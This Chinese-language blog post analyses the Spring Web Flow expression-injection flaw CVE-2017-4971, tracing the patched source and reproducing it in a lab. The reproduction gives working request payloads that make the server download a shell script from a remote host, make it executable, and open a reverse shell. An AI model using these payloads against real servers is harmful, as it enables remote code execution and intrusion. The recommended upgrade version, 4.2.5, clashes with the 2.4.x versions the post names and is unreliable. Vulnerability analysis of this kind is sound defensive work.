Spring Web Flow 远程代码执行漏洞分析

  xctflab       2017-08-10 13:48:31 384  0

1. 漏洞描述

  •        漏洞编号: CVE-2017-4971
  •        漏洞简述: 由于Spring的框架越来越多,而且后面引入了SpringEl作为默认的表达式解析方式,所以一旦引入了类似于OGNL的表达式,很可能会带来一些安全问题,本次漏洞就是由于Spring WebFlow的数据绑定问题带来的表达式注入,从而导致任意代码执行。
  • 影响版本: Spring Web Flow 2.4.0 to 2.4.4

2. 漏洞简介

  该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台,官方并没有详细的信息,通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

  整体来说这个漏洞危害应该还是有一些的,如果满足2个前置条件,那么直接RCE是没什么问题的。在分析这个漏洞之前需要一些Spring Webflow的基础知识,给大家推荐这篇文章https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html

3. 漏洞原理分析

3.1  源码补丁分析

  首先我们可以从Spring Web Flow官网找到Spring Web Flow源码github地址,然后通过找到补丁提交的源代码主要在spring-webflow/src/main/java/org/springframework/webflow/mvc/view/AbstractMvcView.java文件中修改,查看和上一个版本的源码比较:

3.2  源码分析

  我们发现这里对 addEmptyValueMapping(DefaultMapper mapper, String field, Object model) 这个方法里面表达式解析的实现类进行了替换,直接使用了BeanWrapperExpressionParser来解析,关于这个类我们后面再详细说,那么知道触发漏洞的函数后,我们就可以用MyEclipse来跟踪下函数调用栈,具体如下:

  通过调用关系我们可以发现一共有一下两个函数调用了addEmptyValueMapping方法

  • addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model)
  • addModelBindings(DefaultMapper mapper, Set parameterNames, Object model)

  这里通过调用关系我们可以大概的搞明白Spring WebFlow的执行顺序和流程,由flowcontroller决定将请求交给那个handler去执行具体的流程,这里我们需要知道当用户请求有视图状态处理时,会决定当前事件下一个执行的流程,同时对于配置文件中我们配置的view-state元素,如果我们指定了数据的model,那么它会自动进行数据绑定,xml结构如下(这里以官方的example中的book项目为例子):

  本次漏洞出现的原因就是在view-state节点中数据绑定上,我们继续跟踪addEmptyValueMapping方法的调用过程,这里通过eclipse我们可以发现bind方法间接的调用了addEmptyValueMapping函数,

  到这里我们知道了addEmptyValueMapping函数存在表达式执行的点,我们现在来详细看下这个addEmptyValueMapping函数,如下图

  这里我们可以看见,只有控制了field参数才能出发漏洞,所以我们重点是找到有没有点我们可以控制从而控制field参数来进行任意代码执行,这里明确目标后,我们回过头来看addDefaultMappings和addModelBindings这两个函数,既然这两个函数都调用了存在缺陷的函数,那么我们看看这两个函数的区别是什么,而且那个函数能能能控制field参数,两个函数的区别如下

addDefaultMapping函数

/**
 * Adds a {@link DefaultMapping} between the given request parameter name and a matching model field.
 *
 * @param mapper the mapper to add the mapping to
 * @param parameter the request parameter name
 * @param model the model
 */
protected void addDefaultMapping(DefaultMapper mapper, String parameter, Object model) {
	Expression source = new RequestParameterExpression(parameter);
	ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
	Expression target = expressionParser.parseExpression(parameter, parserContext);
	DefaultMapping mapping = new DefaultMapping(source, target);
	if (logger.isDebugEnabled()) {
		logger.debug("Adding default mapping for parameter '" + parameter + "'");
	}
	mapper.addMapping(mapping);
}

addModelBindings函数

/**
	 * <p>
	 * Adds a {@link DefaultMapping} for every configured view {@link Binding} for which there is an incoming request
	 * parameter. If there is no matching incoming request parameter, a special mapping is created that will set the
	 * target field on the model to an empty value (typically null).
	 * </p>
	 *
	 * @param mapper the mapper to which mappings will be added
	 * @param parameterNames the request parameters
	 * @param model the model
	 */
	protected void addModelBindings(DefaultMapper mapper, Set<String> parameterNames, Object model) {
		for (Binding binding : binderConfiguration.getBindings()) {
			String parameterName = binding.getProperty();
			if (parameterNames.contains(parameterName)) {
				addMapping(mapper, binding, model);
			} else {
				if (fieldMarkerPrefix != null && parameterNames.contains(fieldMarkerPrefix + parameterName)) {
					addEmptyValueMapping(mapper, parameterName, model);
				}
			}
		}
	}

  这里比较明显的区别就是addModelBindings函数中 for (Binding binding : binderConfiguration.getBindings()) 存在这样一个循环,而且就是这个循环的控制决定了field参数的值,经过进一步分析,这里控制field的参数的决定性因素就是binderConfiguration这个变量所控制的值,这里经过源码的跟踪我们可以发现,binderConfiguration函数的值就是webflow-*.xml中view-state中binder节点的配置,所以这个函数的值来源于配置文件,所以这个函数我们无法控制,从而无法触发漏洞,所以我们重点来看看addDefaultMappings这个函数,我们发现addDefaultMappings中我们可以控制field参数,所以我们重点来看看如何去触发这个函数。

  现在我们基本上可以确定了addDefaultMappings函数是我们触发漏洞的关键点,那么如上图所示,bing函数中调用了这两个函数,那么我们可以看出只有当binderConfiguration为空的时候才能触发我们的漏洞,那么我们刚才也说了binderConfiguration这个值是由配置文件中是否有binder节点来控制的(这里需要注意的是程序执行到bind方法的前置条件是view-state节点中是否配置了model属性,即绑定的javabean对象是什么),而且addDefaultMappings函数中parameterNames参数就是我们从表单中传递的值,所以到这里漏洞的触发流程和触发条件基本上清楚了,触发条件如下:

  • 在webflow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点
  • 而且MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改

  这里为什么一定要useSpringBeanBinding的值为false,我们来看一下addEmptyValueMapping函数,这里的expressionParser变量的声明类是ExpressionParser接口,那么决定最后 expressionParser.parseExpression(field, parserContext)这个函数来执行任意表达式是这个变量的赋值,那么在spring webflow中这个expressionParser的默认值就是WebFlowELExpressionParser的实例,这个类表达式默认的解析是有spel来执行的,具体可以去跟踪函数,那么在org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression, ExpressionParser, ConversionService, BinderConfiguration, Validator, ValidationHintResolver)这个类如下图

  我们可以看见如果useSpringBeanBinding这个属性为false那么久使用默认的解析类,如果这个值为true就由BeanWrapperExpressionParser这个类来解析,这个类的parseExpression函数

  首先决定了能不能执行的第一个控制变量是allowDelimitedEvalExpressions,这个默认值是false,所以这里是执行不了表达式的。 所以这里必须满足useSpringBeanBinding这个默认值不被改变。

  这里需要注意一点,我们构造的恶意参数名称必须以_开头,具体原因看addDefaultMappings函数中的fieldMarkerPrefix变量。

4. 靶场环境搭建

4.1 环境源码下载

       通过github下载Spring Web Flow官方实例https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc

4.2 MyEclipse导入Maven工程

  • MyEclipse点击file选项选择Import

  • 点击进入选择maven功能里的Existing Maven Project选项

  • 选择你工程的路径直接导入点击Finish按钮进行导入

  • 成功导入工程后找到WebFlowConfig.java文件,将文件中factoryCreator.setUseSpringBeanBinding(true);的true改为false:

  • 点击工程直接运行就可以看到生成的网页:

4.3 漏洞复现

1.点击页面中的超链接进入图书搜索页面,在页面中输入搜索内容进行搜索

2.搜索到图书点击View hotel按钮,然后点击Book hotel按钮,如果没有登录请先登录(登录名密码圈出来了,4种任意都可以登录)

3.进入借书页面,随意写入16位Credit Card id和Credit Card Name点击Process按钮

4.在点击Confirm按钮前我们需要进行burpsuite进行拦截抓包,截获数据包send to repeater,篡改数据包添加恶意payload:&_(new+java.lang.ProcessBuilder("/usr/bin/wget","-P/tmp","http://192.168.159.128/shell.sh")).start()=feifei,shell.sh放在可以访问的服务器中,执行请求包。

5.查看自己虚拟机的/tmp目录下有没有成功下shell.sh,可以看到shell.sh成功下载

6.至此已经复现了漏洞,可是我们既然想代码执行,那我们就可以进行反弹shell操作,继续执行命令,添加payload:&_(new+java.lang.ProcessBuilder("/bin/chmod","777","/tmp/shell.sh")).start()=feifei对shell.sh修改权限

7.查看虚拟机中的/tmp目录下的shell.sh有没有变成可读可写可执行权限,可以看到shell.sh权限成功变成777

8.执行shell.sh文件同时监听2333端口,执行payload:&_(new+java.lang.ProcessBuilder("/bin/bash","/tmp/shell.sh")).start()=feifei

9.在监听的服务器中查看监听的2333端口有没有反弹shell,可以看到成功反弹shell,可以执行权限内任意命令。

5. 修复意见

  升级Spring Web Flow版本到4.2.5

6. 参考资料

  1. 1、CVE-2017-4971漏洞报告
  2. 2、Spring Web Flow 2.0 学习文档
  3. 3、Spring WebFlow 远程代码执行漏洞分析
请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)